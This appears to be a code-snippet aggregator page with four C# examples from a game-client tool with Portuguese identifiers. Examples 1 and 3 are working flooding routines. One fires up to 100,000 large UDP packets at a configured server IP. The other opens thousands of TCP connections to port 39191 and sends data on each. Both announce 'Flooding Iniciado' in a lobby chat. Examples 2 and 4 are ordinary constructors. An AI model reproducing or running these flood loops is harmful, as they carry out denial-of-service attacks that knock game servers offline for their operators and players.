Esempio n. 1
0
 private void button17_Click(object sender, EventArgs e)
 {
     WindowState = FormWindowState.Minimized;
     for (int index = 0; index < 100000; index++)
     {
         try
         {
             if (Aguardar)
             {
                 break;
             }
             IPEndPoint ipe       = new IPEndPoint(IPAddress.Parse(Carregar.INTs().IP), 0);
             UdpClient  udpClient = new UdpClient();
             byte[]     testes    = new byte[10000]; //Length abaixo de  16
             udpClient.BeginSend(testes, testes.Length, ipe, (result) =>
             {
                 if (result.IsCompleted)
                 {
                     Thread.Sleep(200);
                     udpClient.EndSend(result);
                     Program.Form1.ChatSender($"[Sistema UDP] Flooding Iniciado... [{index}] [{testes.Length}] '200s'", "lobby");
                 }
             },
                                 udpClient);
         }
         catch (Exception ex)
         {
             MessageBox.Show(ex.ToString());
             break;
         }
         Application.DoEvents();
     }
 }
Esempio n. 2
0
 public void SetReader(AuthClient AuthClient, GameClient clientGame, BinaryReader reader, byte[] buffer)
 {
     this.clientGame = clientGame;
     this.AuthClient = AuthClient;
     this.reader     = reader;
     this.buffer     = buffer;
     Classe_         = Classe_Raiz.INTs();
     player          = Conexão.INSTs().player;
     Carregar        = Carregar.INTs();
 }
Esempio n. 3
0
 public void ResolutionSocket()
 {
     for (int i = 0; i <= 10000; i++)
     {
         try
         {
             if (Aguardar)
             {
                 break;
             }
             IPEndPoint ipe        = new IPEndPoint(IPAddress.Parse(Carregar.INTs().IP), 39191);
             Socket     tempSocket = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);
             tempSocket.Connect(ipe);
             byte[] resultado = ArrayBytes();
             if (tempSocket.Connected)
             {
                 tempSocket.BeginSend(resultado, 0, resultado.Length, SocketFlags.None, out SocketError error, (result) =>
                 {
                     try
                     {
                         if (result.IsCompleted)
                         {
                             tempSocket.EndSend(result, out error);
                         }
                         Program.Form1.ChatSender($"[Sistema Socket] Flooding Iniciado... [{i}] [{resultado.Length}]", "lobby");
                     }
                     catch (Exception ex)
                     {
                         throw ex;
                     }
                 },
                                      tempSocket);
             }
             else
             {
                 Program.Form1.ChatSender($"{ipe}: Error...", "lobby");
                 break;
             }
         }
         catch (Exception ex)
         {
             new _Message().Error($"Error: {ex.ToString()}");
             break;
         }
         Application.DoEvents();
     }
     Close();
 }
Esempio n. 4
0
 public Processor(ushort opcode)
 {
     this.opcode = opcode;
     player      = Conexão.INSTs().player;
     Carregar    = Carregar.INTs();
 }